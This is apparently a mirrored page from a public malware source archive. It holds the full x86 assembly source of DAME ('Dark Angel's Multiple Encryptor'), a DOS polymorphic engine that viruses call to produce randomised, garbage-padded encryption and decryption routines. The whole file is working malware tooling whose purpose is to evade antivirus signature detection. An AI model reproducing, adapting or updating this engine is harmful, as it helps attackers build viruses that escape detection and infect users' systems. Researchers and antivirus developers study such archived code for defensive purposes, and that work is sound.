mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
1197 lines
28 KiB
NASM
1197 lines
28 KiB
NASM
ifndef vars
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vars = 2
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endif
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if vars eq 1
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else
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_ax = 0
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_cx = 1
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_dx = 2
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_bx = 3
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_sp = 4
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_bp = 5
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_si = 6
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_di = 7
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_es = 8
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_cs = 9
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_ss = 0a
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_ds = 0bh
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MAXNEST = 0a ; controls recursion problems
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; ax = flags
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; 15 : Reserved
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; 14 : 0 = word, 1 = dword
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; 13 : encryption direction : 0 = forwards, 1 = backwards
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; 12 : counter direction : 0 = forwards, 1 = backwards
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; 11 : ^
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; 10 : R
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; 9 : E
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; 8 : S
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; 7 : E
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; 6 : R
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; 5 : V
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; 4 : E
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; 3 : D
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; 2 : v
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; DAME sets the above bits
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;
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; Virus sets the following bits:
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; 1 : garble : 1 = yes, 0 = no
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; 0 : DS = CS : 1 = yes, 0 = no
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; bx = start decrypt in carrier file
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; cx = encrypt length
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; dx = start encrypt
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; si = buffer to put decryption routine
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; di = buffer to put encryption routine
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; ds = current cs
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; es = current cs
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; Returns:
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; cx = decryption routine length
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; all other registers are preserved.
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rnd_init_seed:
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push dx
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push cx
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push bx
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mov ah,2C ; get time
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int 21
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in al,40 ; port 40h, 8253 timer 0 clock
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mov ah,al
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in al,40 ; port 40h, 8253 timer 0 clock
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xor ax,cx
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xor dx,ax
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jmp short rnd_get_loop_done
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get_rand:
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push dx
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push cx
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push bx
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in al,40 ; get from timer 0 clock
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db 5 ; add ax, xxxx
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rnd_get_patch1 dw 0
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db 0BA ; mov dx, xxxx
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rnd_get_patch2 dw 0
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mov cx,7
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rnd_get_loop:
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shl ax,1
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rcl dx,1
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mov bl,al
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xor bl,dh
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jns rnd_get_loop_loc
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inc al
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rnd_get_loop_loc:
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loop rnd_get_loop
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rnd_get_loop_done:
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mov rnd_get_patch1,ax
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mov rnd_get_patch2,dx
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mov al,dl
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pop bx
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pop cx
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pop dx
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retn
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reg_xlat_table:
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db 10000111b ; bx
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db 0 ; sp
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db 10000110b ; bp
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db 10000100b ; si
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db 10000101b ; di
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aligntable db 3,7,0f,1f
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redo_dame:
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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dame: ; Dark Angel's Multiple Encryptor
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cld
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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call _dame
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pop di
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pop si
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pop dx
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pop bx ; return value in cx
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pop bx
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pop ax
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ret
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_dame:
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; set up variables
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cld
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push ax
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mov ax,offset _encryptpointer
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xchg ax,di ; pointer to encryption routine buffer
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stosw
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xchg si,ax ; pointer to decryption routine buffer
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stosw
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stosw
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xchg ax,dx ; starting offset of encryption
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stosw
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xchg ax,bx ; starting offset of decryption routine
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stosw
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xchg cx,dx ; dx = encrypt size
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call clear_used_regs
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mov cx,(endclear1 - beginclear1) / 2
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rep stosw
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call get_rand
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and ax,not 3
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pop cx
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xor cx,ax ; cx = bitmask
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call get_rand_bx
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and bx,3
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mov al,byte ptr [bx+aligntable]
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cbw
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add dx,ax ; round up
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not ax
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and dx,ax
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mov ax,dx ; new encryption length
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stosw ; _encrypt_length
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shr ax,1
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test ch,40 ; dword?
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jz word_encryption
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shr ax,1
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word_encryption:
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test ch,10
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jnz counter_backwards
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neg ax
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counter_backwards:
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stosw ; _counter_value
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xchg ax,dx ; get encryption length in bytes
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test ch,20
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jnz encrypt_forwards
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neg ax ; pointer to start of decryption
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encrypt_forwards:
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stosw ; _pointer_value
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call get_rand
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stosw ; encryption value = _decrypt_value
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mov ax,8484
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stosb
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push di
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stosw
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stosb
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pop di
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call one_in_two
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js s1
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call get_another
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stosb
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call get_rand
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mov _pointer_value,ax
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dec di
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s1:
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inc di
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jmp short gbxoh_skip
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get_bx_or_higher:
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call clear_reg
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gbxoh_skip:
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call get_another
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cmp al,_bx
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jb get_bx_or_higher
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stosb ; _pointer_reg
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call one_in_two
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js s2
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call get_another
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stosb ; _encrypt_reg
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s2:
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; encode setup part of decryption
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call clear_used_regs
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encode_setup:
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mov di,_decryptpointer
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call twogarble
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mov si,offset _dummy_reg
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push si
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encode_setup_get_another:
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call get_rand_bx
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and bx,3
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mov al,[si+bx]
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cbw
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test al,80
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jnz encode_setup_get_another
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or byte ptr [bx+_dummy_reg],80
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mov si,ax
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inc byte ptr [si+offset _used_regs]
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add bx,bx
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mov dx,word ptr [bx+_counter_value-2]
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mov _nest,0
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call mov_reg_xxxx
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call twogarble
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call swap_decrypt_encrypt
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push cx
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and cl,not 3
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call _mov_reg_xxxx
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pop cx
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mov _encryptpointer,di
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pop si
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mov dx,4
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encode_setup_check_if_done:
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lodsb
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test al,80
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jz encode_setup
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dec dx
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jnz encode_setup_check_if_done
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mov si,offset _encryptpointer
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mov di,offset _loopstartencrypt
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movsw
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movsw
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; encode decryption part of loop
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mov _relocate_amt,0
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call do_encrypt1
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test ch,40
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jz dont_encrypt2
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mov _relocate_amt,2
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call do_encrypt1
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dont_encrypt2:
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mov bx,offset _loopstartencrypt
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push cx
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and cl,not 3
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call encodejmp
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pop cx
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mov ax,0c3fc ; cld, ret
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stosw
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mov si,offset _encrypt_relocator
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mov di,_start_encrypt
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push cx
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call relocate
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pop cx
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mov bx,offset _loopstartdecrypt
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call encodejmp
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call fourgarble
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mov _decryptpointer,di
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mov si,offset _decrypt_relocator
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sub di,_decryptpointer2
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add di,_start_decrypt
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relocate:
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test ch,20
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jz do_encrypt_backwards
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add di,_encrypt_length
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do_encrypt_backwards:
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sub di,_pointer_value
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mov cx,word ptr [si-2]
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jcxz exit_relocate
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xchg ax,di
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relocate_loop:
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xchg ax,di
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lodsw
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xchg ax,di
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add [di],ax
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loop relocate_loop
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exit_relocate:
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mov di,_decryptpointer
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mov cx,di
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sub cx,_decryptpointer2
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ret
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do_encrypt1:
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call playencrypt
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call encryption
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call playencrypt
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ret
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encodejmp:
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mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
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push bx
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mov _nest,0
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mov al,_pointer_reg
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and ax,7
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mov dx,2
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test ch,40
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jz update_pointer1
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shl dx,1
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update_pointer1:
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test ch,20
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jz update_pointer2
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neg dx
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update_pointer2:
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call add_reg_xxxx
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mov dl,75 ; jnz
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mov al,_counter_reg
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and ax,7
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cmp al,_sp
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jz do_jnz
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push dx
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mov dx,1
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test ch,10 ; check counter direction
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jz go_counter_forwards
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cmp al,_cx
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jnz regular
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call one_in_two
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js regular
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pop dx
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call get_rand_bx
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xchg bx,dx
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and dl,2
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or dl,0e0 ; loop/loopnz
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jmp short do_jnz
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regular:
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neg dx
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go_counter_forwards:
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call add_reg_xxxx
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pop dx
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do_jnz:
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pop bx
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mov ax,[bx]
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sub ax,di
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dec ax
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dec ax
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xchg ah,al
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mov al,dl ; jnz
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test ah,80
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jnz jmplocation_okay
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pop ax
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pop ax
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jmp redo_dame
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jmplocation_okay:
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stosw
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mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
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ret
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swap_decrypt_encrypt:
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mov _nest,MAXNEST
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mov _decryptpointer,di
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mov di,_encryptpointer
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ret
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playencrypt:
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mov di,_decryptpointer
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call twogarble
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mov al,_encrypt_reg
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and ax,7
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cmp al,4 ; is there an encryption register?
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jz swap_decrypt_encrypt
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call get_rand_bx ; 3/4 chance of doing something
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cmp bl,0c0
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ja swap_decrypt_encrypt
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call _playencrypt
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call handle_jmp_table_nogarble
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finish_encryption:
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call swap_decrypt_encrypt
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push cx
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and cl,not 3
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call [bx+si+1]
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pop cx
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mov _encryptpointer,di
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ret
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_playencrypt:
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mov _nest,0
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call one_in_two
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js get_used_register
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call get_rand_bx
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mov si,offset oneregtable
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jmp short continue_playencrypt
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get_used_register:
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call get_rand_bx
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and bx,7
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cmp bl,_sp
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jz get_used_register
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cmp byte ptr [bx+_used_regs],0
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jz get_used_register
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mov si,offset tworegtable
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continue_playencrypt:
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xchg dx,bx
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ret
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encryption:
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mov di,_decryptpointer
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call twogarble
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mov al,_pointer_reg
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and ax,7
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mov bx,offset reg_xlat_table-3
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xlat
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mov bp,offset _decrypt_relocate_num
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call _playencrypt
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call go_next
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call handle_jmp_table_nogarble
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mov bp,offset _encrypt_relocate_num
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call go_next
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jmp short finish_encryption
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go_next:
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push ax
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lodsb
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cbw
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add si,ax
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pop ax
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inc si
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inc si
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ret
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clear_used_regs:
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xor ax,ax
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mov di,offset _used_regs
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stosw
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stosw
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inc ax
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stosw
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dec ax
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stosw
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ret
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get_another:
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call get_rand
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and ax,7
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mov si,ax
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cmp [si+_used_regs],0
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jnz get_another
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inc [si+_used_regs]
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ret
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clear_reg_dx:
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xchg ax,dx
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clear_reg:
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mov si,ax
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mov byte ptr [si+_used_regs],0
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ret
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free_regs: ; check for free registers
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; zero flag if OK
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push ax
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push cx
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push di
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mov di,offset _used_regs
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mov cx,8
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xor ax,ax
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repne scasb
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pop di
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pop cx
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pop ax
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ret
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one_in_two:
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push ax
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call get_rand
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or ax,ax
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pop ax
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ret
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get_rand_bx:
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xchg ax,bx
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call get_rand
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xchg ax,bx
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return:
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ret
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fourgarble:
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call twogarble
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twogarble:
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mov _nest,0
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call garble
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garble: ; ax, dx preserved
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call free_regs
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jne return
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test cl,2
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jz return
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push ax
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push dx
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call get_rand ; random # to dx
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xchg ax,dx
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call get_another ; random reg in al
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call clear_reg ; don't mark as used
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mov si,offset garbletable
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jmp short handle_jmp_table_nopush_ax_dx
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handle_jmp_table: ; ax,dx preserved
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push si
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call garble
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pop si
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handle_jmp_table_nogarble:
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push ax
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push dx
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handle_jmp_table_nopush_ax_dx:
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push si
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push cx
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xchg ax,cx
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lodsb ; get mask value
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cbw
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xchg ax,cx
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call get_rand_bx
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and bx,cx
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pop cx
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inc _nest
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cmp _nest,MAXNEST
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jb not_max_nest
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xor bx,bx
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not_max_nest:
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push bx
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call [bx+si]
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pop bx
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pop si
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pop dx
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pop ax
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ret
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garble_tworeg:
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mov si,offset tworegtable
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and dx,7
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jmp short handle_jmp_table_nogarble
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garble_onereg:
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mov si,offset oneregtable
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jmp short handle_jmp_table_nogarble
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garble_onebyte:
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xchg ax,dx
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and al,7
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mov bx,offset onebytetable
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xlat
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stosb
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ret
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garble_jmpcond:
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xchg ax,dx
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and ax,0f
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or al,70
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stosw
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ret
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_push:
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or al,al
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js _push_mem
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add al,50
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stosb
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ret
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_push_mem:
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add ax,0ff30
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jmp short go_mod_xxx_rm1
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_pop:
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or al,al
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js _pop_mem
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add al,58
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stosb
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ret
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_pop_mem:
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mov ah,8f
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go_mod_xxx_rm1:
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jmp mod_xxx_rm
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mov_reg_xxxx:
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mov si,offset mov_reg_xxxx_table
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go_handle_jmp_table1:
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jmp short handle_jmp_table
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_mov_reg_xxxx_mov_add:
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call get_rand_bx
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push bx
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sub dx,bx
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call mov_reg_xxxx
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pop dx
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jmp short go_add_reg_xxxx
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_mov_reg_xxxx_mov_al_ah:
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cmp al,_sp
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jae _mov_reg_xxxx
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push ax
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push dx
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call _mov_al_xx
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pop dx
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pop ax
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xchg dh,dl
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jmp short _mov_ah_xx
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_mov_reg_xxxx_mov_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call mov_reg_xxxx
|
|
pop dx
|
|
jmp xor_reg_xxxx
|
|
|
|
_mov_reg_xxxx_xor_add:
|
|
push dx
|
|
mov dx,ax
|
|
call xor_reg_reg
|
|
pop dx
|
|
go_add_reg_xxxx:
|
|
jmp add_reg_xxxx
|
|
|
|
_mov_reg_xxxx_mov_rol:
|
|
ror dx,1
|
|
call mov_reg_xxxx
|
|
jmp short _rol
|
|
|
|
_mov_reg_xxxx_mov_ror:
|
|
rol dx,1
|
|
call mov_reg_xxxx
|
|
_ror:
|
|
or al,8
|
|
_rol:
|
|
mov ah,0d1
|
|
jmp mod_xxx_rm
|
|
|
|
|
|
_mov_reg_xxxx:
|
|
add al,0B8
|
|
stosb
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
|
|
mov_ah_xx:
|
|
_mov_ah_xx:
|
|
add al,04
|
|
mov_al_xx:
|
|
_mov_al_xx:
|
|
add al,0B0
|
|
mov ah,dl
|
|
stosw
|
|
ret
|
|
|
|
mov_reg_reg:
|
|
mov si,offset mov_reg_reg_table
|
|
jmp short go_handle_jmp_table1
|
|
|
|
_mov_reg_reg_push_pop:
|
|
push ax
|
|
xchg dx,ax ; al = reg2
|
|
call _push ; push reg2
|
|
pop ax ; al = reg1
|
|
jmp _pop ; pop reg1
|
|
_mov_reg_reg:
|
|
mov ah,08Bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
mov_xchg_reg_reg:
|
|
call one_in_two
|
|
js mov_reg_reg
|
|
|
|
xchg_reg_reg:
|
|
mov si,offset xchg_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_xchg_reg_reg_push_pop:
|
|
push dx ; save reg2
|
|
push ax ; save reg1
|
|
push dx
|
|
call _push ; push reg1
|
|
pop ax
|
|
call _push ; push reg2
|
|
pop ax
|
|
call _pop ; pop reg1
|
|
pop ax
|
|
jmp _pop ; pop reg2
|
|
|
|
_xchg_reg_reg_3rd_reg:
|
|
call free_regs
|
|
jne _xchg_reg_reg
|
|
|
|
push dx ; save reg2
|
|
push ax ; save reg1
|
|
call get_another
|
|
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
|
|
pop dx ; get reg1
|
|
call xchg_reg_reg ; xchg reg3, reg1
|
|
pop dx ; get reg2
|
|
xchg ax,dx ; ax=reg2, dx=reg3
|
|
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
|
|
jmp clear_reg_dx
|
|
|
|
_xchg_reg_reg:
|
|
or al,al
|
|
js __xchg_reg_reg
|
|
|
|
cmp al,dl
|
|
jg _xchg_reg_reg_skip
|
|
xchg al,dl
|
|
_xchg_reg_reg_skip:
|
|
or dl,dl
|
|
jz _xchg_ax_reg
|
|
__xchg_reg_reg:
|
|
xchg al,dl
|
|
mov ah,87
|
|
jmp short _mod_reg_rm
|
|
_xchg_ax_reg:
|
|
add al,90
|
|
stosb
|
|
ret
|
|
|
|
xor_reg_xxxx_xor_xor:
|
|
call get_rand_bx
|
|
push bx
|
|
xor dx,bx
|
|
call xor_reg_xxxx
|
|
pop dx
|
|
jmp short xor_reg_xxxx
|
|
|
|
xor_reg_xxxx:
|
|
mov si,offset xor_reg_xxxx_table
|
|
jmp handle_jmp_table
|
|
|
|
_xor_reg_xxxx:
|
|
or al,030
|
|
jmp _81h_
|
|
|
|
xor_reg_reg:
|
|
mov si,offset xor_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_xor_reg_reg:
|
|
mov ah,33
|
|
_mod_reg_rm_direction:
|
|
or al,al
|
|
js dodirection
|
|
or dl,dl
|
|
js _mod_reg_rm
|
|
call one_in_two
|
|
js _mod_reg_rm
|
|
dodirection:
|
|
xchg al,dl
|
|
sub ah,2
|
|
_mod_reg_rm:
|
|
shl al,1
|
|
shl al,1
|
|
shl al,1
|
|
or al,dl
|
|
mod_xxx_rm:
|
|
or al,al
|
|
js no_no_reg
|
|
|
|
or al,0c0
|
|
no_no_reg:
|
|
xchg ah,al
|
|
|
|
test ah,40
|
|
jnz exit_mod_reg_rm
|
|
|
|
test cl,1
|
|
jnz continue_mod_xxx_rm
|
|
|
|
push ax
|
|
mov al,2e
|
|
stosb
|
|
pop ax
|
|
continue_mod_xxx_rm:
|
|
stosw
|
|
|
|
mov si,cs:[bp] ; need cs: overrides on bp
|
|
add si,si
|
|
mov cs:[si+bp+2],di
|
|
inc word ptr cs:[bp]
|
|
|
|
mov al,_relocate_amt
|
|
cbw
|
|
exit_mod_reg_rm:
|
|
stosw
|
|
ret
|
|
|
|
add_reg_reg:
|
|
mov si,offset add_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_add_reg_reg:
|
|
mov ah,3
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
sub_reg_reg:
|
|
mov si,offset sub_reg_reg_table
|
|
jmp handle_jmp_table
|
|
|
|
_sub_reg_reg:
|
|
mov ah,2bh
|
|
jmp short _mod_reg_rm_direction
|
|
|
|
_add_reg_xxxx_inc_add:
|
|
call inc_reg
|
|
dec dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_dec_add:
|
|
call dec_reg
|
|
inc dx
|
|
jmp short add_reg_xxxx
|
|
|
|
_add_reg_xxxx_add_add:
|
|
call get_rand_bx
|
|
push bx
|
|
sub dx,bx
|
|
call add_reg_xxxx
|
|
pop dx
|
|
jmp short add_reg_xxxx
|
|
|
|
add_reg_xxxx1:
|
|
neg dx
|
|
add_reg_xxxx:
|
|
or dx,dx
|
|
jnz cont
|
|
return1:
|
|
ret
|
|
cont:
|
|
mov si,offset add_reg_xxxx_table
|
|
jmp handle_jmp_table
|
|
|
|
_add_reg_xxxx:
|
|
or al,al
|
|
jz _add_ax_xxxx
|
|
_81h_:
|
|
or al,al
|
|
js __81h
|
|
add al,0c0
|
|
__81h:
|
|
mov ah,81
|
|
call mod_xxx_rm
|
|
_encode_dx_:
|
|
xchg ax,dx
|
|
stosw
|
|
ret
|
|
_add_ax_xxxx:
|
|
mov al,5
|
|
_encode_al_dx_:
|
|
stosb
|
|
jmp short _encode_dx_
|
|
|
|
sub_reg_xxxx1:
|
|
neg dx
|
|
sub_reg_xxxx:
|
|
_sub_reg_xxxx:
|
|
or dx,dx
|
|
jz return1
|
|
|
|
or al,al
|
|
jz _sub_ax_xxxx
|
|
add al,028
|
|
jmp short _81h_
|
|
_sub_ax_xxxx:
|
|
mov al,2dh
|
|
jmp short _encode_al_dx_
|
|
|
|
dec_reg:
|
|
push ax
|
|
add al,8
|
|
jmp short _dec_inc_reg
|
|
inc_reg:
|
|
push ax
|
|
_dec_inc_reg:
|
|
or al,al
|
|
jns _norm_inc
|
|
mov ah,0ff
|
|
call mod_xxx_rm
|
|
pop ax
|
|
ret
|
|
_norm_inc:
|
|
add al,40
|
|
stosb
|
|
pop ax
|
|
ret
|
|
|
|
_mov_reg_reg_3rd_reg:
|
|
mov bx,offset mov_reg_reg
|
|
mov si,offset mov_xchg_reg_reg
|
|
jmp short reg_to_reg
|
|
|
|
xor_reg_reg_reg_reg:
|
|
mov bx,offset _xor_reg_reg
|
|
jmp short reg_to_reg1
|
|
add_reg_reg_reg_reg:
|
|
mov bx,offset _add_reg_reg
|
|
jmp short reg_to_reg1
|
|
sub_reg_reg_reg_reg:
|
|
mov bx,offset _sub_reg_reg
|
|
reg_to_reg1:
|
|
mov si,bx
|
|
reg_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax
|
|
push si
|
|
call get_another
|
|
call mov_reg_reg ; mov reg3, reg2
|
|
pop si
|
|
pop dx ; ax=reg3, dx=reg1
|
|
xchg ax,dx ; ax=reg1, dx=reg3
|
|
|
|
push dx
|
|
call si
|
|
pop dx
|
|
go_clear_reg_dx:
|
|
jmp clear_reg_dx
|
|
|
|
_xor_reg_xxxx_reg_reg:
|
|
mov bx,offset xor_reg_xxxx
|
|
mov si,offset xor_reg_reg
|
|
xxxx_to_reg:
|
|
call free_regs
|
|
jne no_free_regs
|
|
|
|
push ax
|
|
push si
|
|
call get_another
|
|
call mov_reg_xxxx
|
|
xchg ax,dx
|
|
pop si
|
|
pop ax
|
|
|
|
push dx
|
|
call si
|
|
pop dx
|
|
jmp short go_clear_reg_dx
|
|
no_free_regs:
|
|
jmp bx
|
|
|
|
_add_reg_xxxx_reg_reg:
|
|
mov bx,offset add_reg_xxxx
|
|
mov si,offset add_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
_mov_reg_xxxx_reg_reg:
|
|
mov bx,offset mov_reg_xxxx
|
|
mov si,offset mov_xchg_reg_reg
|
|
jmp short xxxx_to_reg
|
|
|
|
garbletable:
|
|
db garbletableend - $ - 3
|
|
dw offset return
|
|
dw offset return
|
|
dw offset garble_tworeg
|
|
dw offset garble_tworeg
|
|
dw offset garble_onereg
|
|
dw offset garble_onereg
|
|
dw offset garble_onebyte
|
|
dw offset garble_jmpcond
|
|
garbletableend:
|
|
|
|
onebytetable:
|
|
clc
|
|
cmc
|
|
stc
|
|
cld
|
|
std
|
|
sti
|
|
int 3
|
|
lock
|
|
|
|
oneregtable:
|
|
db oneregtableend - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset mov_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtableend:
|
|
|
|
oneregtable1:
|
|
db oneregtable1end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset dec_reg
|
|
dw offset inc_reg
|
|
dw offset _ror
|
|
dw offset _rol
|
|
oneregtable1end:
|
|
|
|
oneregtable2:
|
|
db oneregtable2end - $ - 3
|
|
dw offset xor_reg_xxxx
|
|
dw offset add_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset sub_reg_xxxx
|
|
dw offset inc_reg
|
|
dw offset dec_reg
|
|
dw offset _rol
|
|
dw offset _ror
|
|
oneregtable2end:
|
|
|
|
tworegtable:
|
|
db tworegtableend - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset mov_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtableend:
|
|
|
|
tworegtable1:
|
|
db tworegtable1end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset sub_reg_reg
|
|
dw offset add_reg_reg
|
|
tworegtable1end:
|
|
|
|
tworegtable2:
|
|
db tworegtable2end - $ - 3
|
|
dw offset xor_reg_reg
|
|
dw offset xor_reg_reg
|
|
dw offset add_reg_reg
|
|
dw offset sub_reg_reg
|
|
tworegtable2end:
|
|
|
|
mov_reg_xxxx_table:
|
|
db mov_reg_xxxx_table_end - $ - 3
|
|
dw offset _mov_reg_xxxx
|
|
dw offset _mov_reg_xxxx_reg_reg
|
|
dw offset _mov_reg_xxxx_mov_add
|
|
dw offset _mov_reg_xxxx_mov_al_ah
|
|
dw offset _mov_reg_xxxx_mov_xor
|
|
dw offset _mov_reg_xxxx_xor_add
|
|
dw offset _mov_reg_xxxx_mov_rol
|
|
dw offset _mov_reg_xxxx_mov_ror
|
|
|
|
mov_reg_xxxx_table_end:
|
|
|
|
mov_reg_reg_table:
|
|
db mov_reg_reg_table_end - $ - 3
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg
|
|
dw offset _mov_reg_reg_3rd_reg
|
|
dw offset _mov_reg_reg_push_pop
|
|
mov_reg_reg_table_end:
|
|
|
|
xchg_reg_reg_table:
|
|
db xchg_reg_reg_table_end - $ - 3
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg
|
|
dw offset _xchg_reg_reg_push_pop
|
|
dw offset _xchg_reg_reg_3rd_reg
|
|
xchg_reg_reg_table_end:
|
|
|
|
xor_reg_xxxx_table:
|
|
db xor_reg_xxxx_table_end - $ - 3
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx
|
|
dw offset _xor_reg_xxxx_reg_reg
|
|
dw offset xor_reg_xxxx_xor_xor
|
|
xor_reg_xxxx_table_end:
|
|
|
|
xor_reg_reg_table:
|
|
db xor_reg_reg_table_end - $ - 3
|
|
dw offset _xor_reg_reg
|
|
dw offset xor_reg_reg_reg_reg
|
|
xor_reg_reg_table_end:
|
|
|
|
add_reg_reg_table:
|
|
db add_reg_reg_table_end - $ - 3
|
|
dw offset _add_reg_reg
|
|
dw offset add_reg_reg_reg_reg
|
|
add_reg_reg_table_end:
|
|
|
|
sub_reg_reg_table:
|
|
db sub_reg_reg_table_end - $ - 3
|
|
dw offset _sub_reg_reg
|
|
dw offset sub_reg_reg_reg_reg
|
|
sub_reg_reg_table_end:
|
|
|
|
add_reg_xxxx_table:
|
|
db add_reg_xxxx_table_end - $ - 3
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx
|
|
dw offset _add_reg_xxxx_reg_reg
|
|
dw offset sub_reg_xxxx1
|
|
dw offset _add_reg_xxxx_inc_add
|
|
dw offset _add_reg_xxxx_dec_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
dw offset _add_reg_xxxx_add_add
|
|
|
|
add_reg_xxxx_table_end:
|
|
|
|
endif
|
|
|
|
if vars eq 0
|
|
else
|
|
|
|
_nest db ? ; needed to prevent infinite recursion
|
|
_relocate_amt db ?
|
|
|
|
_loopstartencrypt dw ?
|
|
_loopstartdecrypt dw ?
|
|
|
|
_encryptpointer dw ?
|
|
_decryptpointer dw ?
|
|
|
|
_decryptpointer2 dw ?
|
|
|
|
_start_encrypt dw ?
|
|
_start_decrypt dw ?
|
|
|
|
_used_regs db 8 dup (?) ; 0 = unused
|
|
beginclear1:
|
|
_encrypt_relocate_num dw ?
|
|
_encrypt_relocator dw 8 dup (?)
|
|
|
|
_decrypt_relocate_num dw ?
|
|
_decrypt_relocator dw 10 dup (?)
|
|
endclear1:
|
|
_encrypt_length dw ? ; based upon alignment
|
|
|
|
_counter_value dw ? ; _counter_reg
|
|
_pointer_value dw ?
|
|
_decrypt_value dw ?
|
|
|
|
_dummy_reg db ?
|
|
_counter_reg db ?
|
|
_pointer_reg db ? ; 4 = not in use
|
|
_encrypt_reg db ?
|
|
|
|
endif
|
|
|